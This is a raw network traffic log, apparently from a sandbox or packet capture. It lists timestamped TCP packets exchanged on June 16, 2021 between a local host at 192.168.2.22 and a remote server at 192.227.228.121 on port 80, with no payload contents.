Jun 16, 2021 12:14:32.252620935 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252625942 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252645016 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252652884 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252657890 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252676010 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252696037 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252696991 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252710104 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252726078 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252737045 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252744913 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252762079 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252765894 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252773046 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252774954 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252794027 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252794981 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252806902 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252824068 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252840996 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252856016 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252856970 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252868891 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252883911 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252888918 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252907038 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252933025 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252940893 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252954006 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252959013 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252976894 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252979040 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252989054 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252991915 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253009081 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253021955 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253034115 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253051996 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253052950 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253058910 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253062010 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253066063 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253078938 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253093958 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253097057 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253101110 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253108978 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253129959 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253129959 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253138065 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253144979 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253158092 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253170967 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253187895 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253200054 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253206015 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253222942 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253233910 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253245115 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253252983 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253258944 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253277063 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253277063 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253288984 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253294945 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253307104 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253314018 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253328085 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253334999 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253345966 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253351927 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253354073 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253365993 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253384113 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253388882 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253396988 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253410101 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253416061 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253427982 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253428936 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253439903 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253453016 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253458023 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253464937 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.253472090 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253489971 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.253506899 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379357100 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379410028 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379447937 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379486084 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379522085 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379559040 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379596949 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379615068 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379646063 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379662037 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379689932 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379702091 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379729033 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379733086 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379766941 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379785061 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379806042 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379815102 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379842043 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379843950 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379880905 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379890919 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379919052 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.379919052 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379966974 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.379968882 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.380009890 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.380014896 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.380048037 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.380060911 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.380105972 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.380727053 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.380773067 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.380810022 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.380810976 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.380836010 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.380857944 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.380862951 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.380899906 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.380907059 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.380933046 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.380938053 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.380976915 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.380992889 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.381016016 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.381021023 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.381053925 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.381066084 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.381091118 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.381094933 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.381120920 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.381128073 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.381175041 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.381176949 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.381231070 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.381925106 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.389720917 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.389770985 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.389831066 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.389905930 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.389908075 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.389961004 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.389985085 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390000105 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390002012 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390049934 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390054941 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390068054 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390084028 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390091896 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390105009 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390124083 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390141010 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390141964 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390158892 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390176058 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390178919 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390192032 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390206099 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390211105 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390228987 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390240908 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390249968 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390269041 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390285015 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390285969 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390301943 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390319109 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390335083 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390337944 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390352011 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390358925 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390369892 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390387058 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390392065 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390404940 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390422106 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390430927 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390439987 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390458107 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390467882 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390479088 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390486956 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390499115 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390516043 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390525103 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390533924 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390551090 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390568972 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390577078 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390588045 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390604973 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390613079 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390625954 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390634060 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390645981 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390661955 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390671015 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390681028 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390698910 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390707016 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390717030 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390733004 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390737057 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390750885 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390770912 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390773058 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390790939 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390808105 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390815020 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390825987 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390834093 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390845060 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390861988 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390870094 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390881062 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390897989 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390904903 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390919924 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390928030 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390939951 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390958071 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390965939 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.390975952 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390993118 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.390996933 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391010046 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391016960 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391028881 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391046047 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391052961 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391067028 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391086102 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391093016 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391103983 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391112089 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391134024 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391154051 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391156912 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391171932 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391189098 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391196966 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391207933 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391222000 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391236067 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391252041 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391256094 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391262054 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391277075 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391294956 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391299009 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391311884 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391330004 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391340017 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391346931 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391355038 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391365051 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391381979 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391387939 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391398907 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391406059 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391421080 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391427994 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391439915 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391446114 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391457081 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391463995 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391474009 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391480923 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391491890 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391499043 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391509056 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391515017 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391525984 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391535044 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391544104 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391555071 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391565084 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391573906 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391583920 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391601086 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391603947 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391618013 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391621113 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391634941 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391638041 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391652107 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391655922 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391669989 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391674995 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391686916 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391694069 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391707897 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391715050 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391726971 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391729116 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391745090 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391747952 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391757965 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391771078 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391781092 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391788006 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391798019 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391803026 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391807079 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391819954 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391835928 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391844034 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391854048 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391860962 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391871929 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391875982 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391890049 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391896963 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391906977 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391913891 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391926050 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391930103 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391943932 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391952991 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391964912 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391972065 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.391983032 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.391990900 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.392000914 CEST	80	49165	192.227.228.121	192.168.2.22
